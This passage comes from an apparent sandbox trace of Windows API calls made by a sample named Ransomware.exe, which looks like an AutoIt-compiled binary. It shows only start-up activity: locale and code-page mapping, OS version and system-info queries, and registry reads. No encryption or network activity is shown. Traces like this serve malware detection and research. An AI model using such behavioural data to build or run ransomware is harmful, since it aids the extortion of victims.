lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0049.526] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0049.526] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0049.526] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0049.527] GetCurrentThreadId () returned 0xf10 [0049.528] GetStartupInfoW (in: lpStartupInfo=0x132f954 | out: lpStartupInfo=0x132f954*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0049.528] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.528] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.528] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.528] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe\" " [0049.528] GetEnvironmentStringsW () returned 0x15f6698* [0049.529] FreeEnvironmentStringsW (penv=0x15f6698) returned 1 [0049.529] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x963ba8, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe")) returned 0x2c [0049.532] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.532] GetLastError () returned 0x0 [0049.532] SetLastError (dwErrCode=0x0) [0049.532] GetLastError () returned 0x0 [0049.532] SetLastError (dwErrCode=0x0) [0049.533] GetLastError () returned 0x0 [0049.533] SetLastError (dwErrCode=0x0) [0049.533] GetACP () returned 0x4e4 [0049.533] GetLastError () returned 0x0 [0049.533] SetLastError (dwErrCode=0x0) [0049.533] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.533] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x132f948 | out: lpCPInfo=0x132f948) returned 1 [0049.533] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x132f410 | out: lpCPInfo=0x132f410) returned 1 [0049.533] GetLastError () returned 0x0 [0049.533] SetLastError (dwErrCode=0x0) [0049.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x132f824, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x132f824, cbMultiByte=256, lpWideCharStr=0x132f188, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.533] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x132f424 | out: lpCharType=0x132f424) returned 1 [0049.534] GetLastError () returned 0x0 [0049.534] SetLastError (dwErrCode=0x0) [0049.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x132f824, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x132f824, cbMultiByte=256, lpWideCharStr=0x132f158, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.534] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.534] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x132ef48, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0049.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x132f724, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x79\xbb\xee\xd4\x60\xf9\x32\x01\xa7\x99\x8c", lpUsedDefaultChar=0x0) returned 256 [0049.534] GetLastError () returned 0x0 [0049.534] SetLastError (dwErrCode=0x0) [0049.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x132f824, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x132f824, cbMultiByte=256, lpWideCharStr=0x132f178, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0049.534] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.534] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x132ef68, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0049.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x132f624, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x79\xbb\xee\xd4\x60\xf9\x32\x01\xa7\x99\x8c", lpUsedDefaultChar=0x0) returned 256 [0049.534] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.535] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x8d4c4c) returned 0x0 [0049.536] GetVersionExW (in: lpVersionInformation=0x132f83c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1f1e1d1c, dwMinorVersion=0x23222120, dwBuildNumber=0x27262524, dwPlatformId=0x2b2a2928, szCSDVersion="⴬⼮㄰㌲㔴㜶㤸㬺㴼㼾䅀䍂䕄䝆䥈䭊䵌低児卒啔坖奘孚嵜彞慠换敤杦楨歪浬潮煰獲畴睶祸筺絼罾膀莂H") | out: lpVersionInformation=0x132f83c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0049.537] GetCurrentProcess () returned 0xffffffff [0049.537] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x132f98c | out: Wow64Process=0x132f98c) returned 1 [0049.537] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0049.538] GetProcAddress (hModule=0x75130000, lpProcName="GetNativeSystemInfo") returned 0x7514a410 [0049.538] GetNativeSystemInfo (in: lpSystemInfo=0x132f958 | out: lpSystemInfo=0x132f958*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0049.538] FreeLibrary (hLibModule=0x75130000) returned 1 [0049.540] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0049.540] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0049.540] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0049.540] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0049.540] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0049.540] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0049.541] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc162 [0049.544] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.544] OleInitialize (pvReserved=0x0) returned 0x0 [0049.551] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0x132f960 | out: phkResult=0x132f960*=0x1d0) returned 0x0 [0049.552] RegQueryValueExW (in: hKey=0x1d0, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0x132f97c, lpcbData=0x132f964*=0x8 | out: lpType=0x0, lpData=0x132f97c*=0x30, lpcbData=0x132f964*=0x4) returned 0x0 [0049.552] RegCloseKey (hKey=0x1d0) returned 0x0 [0049.556] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x130f930, nSize=0x7fff | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe")) returned 0x2c [0049.557] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x12ff920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x0) returned 0x2c [0049.558] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x130f93c, lpFilePart=0x131f93c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x131f93c*="Ransomware.exe") returned 0x2c [0049.558] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0x131f958 | out: phkResult=0x131f958*=0x0) returned 0x2 [0049.559] IsThemeActive () returned 0x1 [0049.560] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x132f984, fWinIni=0x0 | out: pvParam=0x132f984) returned 1 [0049.560] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0049.561] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x131f958 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0049.561] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12ff8b8, nSize=0x7fff | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ransomware.exe")) returned 0x2c [0049.562] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x12ef8a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x0) returned 0x2c 